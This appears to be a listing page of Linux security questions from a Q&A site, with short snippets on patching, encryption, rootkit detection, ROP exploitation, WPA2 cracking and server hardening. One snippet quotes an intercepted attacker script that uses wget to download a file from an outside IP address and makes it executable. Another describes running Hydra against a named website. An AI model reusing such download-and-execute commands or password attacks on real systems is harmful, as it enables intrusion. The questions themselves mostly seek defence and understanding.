Securing Linux systems and applications; understanding Linux security features.

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3answers
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How bad is it to *not* reboot a server after kernel updates?

I’m administrating a few Debian Linux server, and install package updates when apticron notifies me of them. Occasionally I see updates to linux-image-[something] packages, but don’t bother to reboot ...
0
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1answer
273 views

In return to libc how do you know the address of system() in a remote machine?

I have the following scienarion: a vulnerable program running in a server and can be accessed using netcat I have a copy of that program locally and I can exploit it locally using ROP: ./vuln ...
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2answers
246 views

Ubuntu LVM LUKS Encryption

I've been reading about Ubuntu LVM Encryption, and I understand that it supports the use of Linux Unified Key Setup (LUKS) during installation, which is a block level encryption that encrypts the ...
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1answer
70 views

How to validate the confirmation link received when publishing a new PGP key?

I find PGP to be quite a complex subject. I have gotten to a point where I need to give a client a public key for encryption. I have successfully done my homework, generating a public key from my ...
2
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1answer
140 views

Security Features enabled in Linux Debian and Ubuntu

i am actually doing some tutorials about ROP on Linux. So i tried to follow the tutorial and compiled some of the example codes to try ROP in a small scope. But actually when i am trying to exploit ...
4
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1answer
248 views

Does Linux kernel use DEP for kernel memory?

Does the Linux kernel use DEP internally for its kernel memory? In other words, does the Linux kernel take care to ensure that, when the kernel is executing (in kernel mode), every executable ...
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2answers
125 views

Open Source OS - code you see vs code you get

In this question I will use the example of Linux OS, but I am also interested in general situation. Linux OS distributions are famous for being open source and thus rather secure. But how can you be ...
2
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2answers
364 views

I've found security vulnerability in current linux distribution. What next?

I've installed ubuntu server 12.04 on VM two weeks ago. I've created regular snapshots. XXX time ago I've noticed unusual activity and I've found that a backdoor was installed into my server. One of ...
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3answers
110 views

Is it safe to share my hostname

I am using GNU/Linux. Sometimes, I copy/paste code from the terminal (like user@hostname ..) to put it in a forum thread or a blog ..etc And I was always wondering that it is better to hide it . Is ...
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1answer
58 views

How to fuzz shared objects?

I know there have been similar questions about that topic, but I think mine differs from the others. I have this application which I am able to crash, but the error seems to happen inside of a shared ...
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1answer
279 views

How to detect malicious code sending information to attacker's server in linux

Suppose you have some malicious code on your linux laptop, for example a rootkit or trojan or something like that. Now restrict your attention to the case that the malicious code does transfer some ...
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2answers
3k views

Best method to sandbox X applications in ubuntu

What's the best way to sandbox an X application like firefox or thunderbird in ubuntu (going into the direction of what qubes os does, but only for single applications)? I know there are many ...
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1answer
161 views

Most secure SSH server [closed]

Which SSH server (compatible with Debian Wheezy) has the fewest (if any) exploitable security bugs?
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7answers
5k views

Can “cat-ing” a file be a potential security risk?

I often use cat on the console to view the contents of files, and every now and then I accidentally cat a binary file which basically produces gibberish and system beeps. However today I've ...
1
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1answer
281 views

Linux kernel 3+ system call table modification detection [closed]

Is there any available tool which can check kernel 3+ system call table for modifications? Also I want to know, is there any automated general tool to check Linux for unknown rootkits? Not like ...
1
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1answer
399 views

Booting into Live USB Linux

If I have a Live USB Linux stick and I plug it into a computer which is not connected to the internet and boot the computer using the Live USB stick. How secure is this interms of not leaving any ...
3
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4answers
426 views

Find out what Linux software is trying to phone home

I have seen some suspicious outbound communications blocked on my VPS, which hosts a small experimental Web site, and want to find out which application is making the attempt. The server is running ...
1
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1answer
949 views

What to do with .hash files when cracking WPA2

So, I'd say I'm one level above n00b. I've gotten to the point where I have accomplished a WPA Handshake (and saved the output as xxx-01.cap). I have also downloaded these hash tables (if that is the ...
3
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4answers
205 views

One computer with multiple OSs in different drives

I use my personal computer for both programming work and gaming at my free time(and sometimes penetration testing) all these in different operating systems each. The problem is that I dont really ...
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5answers
1k views

Detecting unknown keyloggers

On a Linux system, is it at all possible to detect unknown keyloggers? Keyloggers which are new and haven't made it to any detection software's database?
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2answers
276 views

Secure Way of Encrypting Your Bash Shell Script [duplicate]

How can I encrypt my bash shell script on Linux server The shell script contain credentials of other servers for remote access. The problem is I do not want others with same level of access to view ...
1
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4answers
443 views

I only use windows for games. Do I need anti virus protection?

I use Linux, and even though I'm not pretending my system is virus-free, it's generally accepted that even an aggressive firewall is not a requirement. I want to install Windows 7 on a machine which ...
0
votes
1answer
48 views

problem upgrading openssl on ubuntu servers [closed]

I'm running Ubuntu x86_64, and want to upgrade to OpenSSL 1.0.1.f. wget <openssl latest> tar -xzvf openssl.tar.gz cd <openssl dir> ./configure --prefix=/usr make In the console output, ...
3
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1answer
75 views

Does TRESOR protect against attacks like HeartBleed

I was wondering if the linux TRESOR module (http://en.wikipedia.org/wiki/TRESOR) would protect a webserver against HeartBleed or other similar attacks.
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1answer
47 views

Method/program for editing secure files

I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :) I keep a couple of (GPG-)encrypted files with more-or-less sensitive ...
7
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1answer
3k views

Has Linux Mint updated the OpenSSL library for LMDE (Heartbleed bug)? [closed]

Background I am using Linux Mint for one of my servers and have been trying to find out if the Linux Mint Debian Edition(LMDE) has updated their repositories with patches for the OpenSSL bug. I ...
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3answers
432 views

Can I use 777 file permissions inside server virtualisation (that only I have access to) without worry?

For this question, please assume I have followed every possible security measure to secure my Linux server. Only I have access to the web server via one open SSH port. If there are security issues ...
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0answers
65 views

Deleting undeletable files on a hacked Linux machine [duplicate]

I've got two Linux machines hacked recently and the hacker/bot has put a lot of stuff in the /root directory. Luckily he did not disable user access, so I was able to login and kill the programs he ...
0
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1answer
248 views

RAM memory data remanence and double boot, risky?

I wonder if my setup can be risky. To give a good starting point for answers I would briefly sketch the situation setup: double boot system GNU/Linux and Microsoft Windows GNU/Linux is on 2 ...
8
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2answers
1k views

Securing Docker and LXC

The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
3
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1answer
735 views

Enterprise Anti-virus for Linux?

I know this question is probably at risk of offending the guidelines but our IaaS provider was unable to offer us an anti-virus solution for our Linux servers. We are deployed in an enterprise cloud ...
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2answers
95 views

Hardware-restricted root login

I was thinking about how security on my Linux server can be increased and came up with this question: If most intrusions are performed by gaining remote access to machines, would it be possible and ...
1
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2answers
92 views

Verifying integrity of text files

While I was away from my home I needed to do some work on a java program so I booted a friends netbook(windows 8) I had with me and finished most of the works I needed to do there. Tho when I returned ...
0
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2answers
229 views

How do I prove for my client that unused ports are closed and unused services are disabled?

I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this? I need ...
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1answer
554 views

how to stop people hacking a website build in cakephp with linux host [closed]

I have been wondering how to stop intrusion/hack in a website build in cakephp. The neccessities that I have done so far are updated framework strong password frequent password change removed ...
1
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1answer
153 views

How can I verify my machine is not vulnerable from a specific exploit?

I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 ...
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1answer
503 views

Why does the linux XRDP module use a 512 bit RSA key? [closed]

Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
2
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1answer
1k views

How the shopkeepers are getting MAC address of wifi enabled smartphones

It is clear that some big mall's are tracking all the wifi enabled mobile phones before they are connected to the network..how can it been done? I have the similar issue.. how to get the MAC address ...
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1answer
194 views

Linux security books [closed]

I am trying to find an updated book (preferably from 2012-2013) that can cover linux security aspects comprehensively. I searched on Amazon and found that most Linux security books are from back in ...
2
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3answers
2k views

How to detect the “Hello packets” sent by a wifi enabled smartphone

Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network. I have seen somewhere that a ...
10
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2answers
6k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
1
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4answers
346 views

What needs to be focused on when hardening a LAMP stack? [closed]

I have a site running on a VPS. I set up the LAMP stack and a few other programs personally. This is only the second time I have set up a VPS and I am a bit worried about security. Are there things ...
5
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3answers
157 views

Best approach for restricting remote ssh session

Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
0
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1answer
267 views

MitM Attacks - Iptables?

I have looked for the answer to this question to no avail, apologies if I missed it. I would like to know how effective iptables would be against MitM attacks - in the following setup: ALLOW INPUT ...
12
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4answers
590 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
11
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3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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2answers
4k views

Hydra https-form-post

I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives. This is what I have done so ...
3
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1answer
210 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
41
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8answers
8k views

Why am I allowed to access protected Windows files when I boot Ubuntu from USB?

How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
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2answers
200 views

Storing database password in application

Let's say my application connects to my database. This requires me to have the username and database in my config as follows: postgresql://scott:tiger@localhost/mydatabase I have an automated ...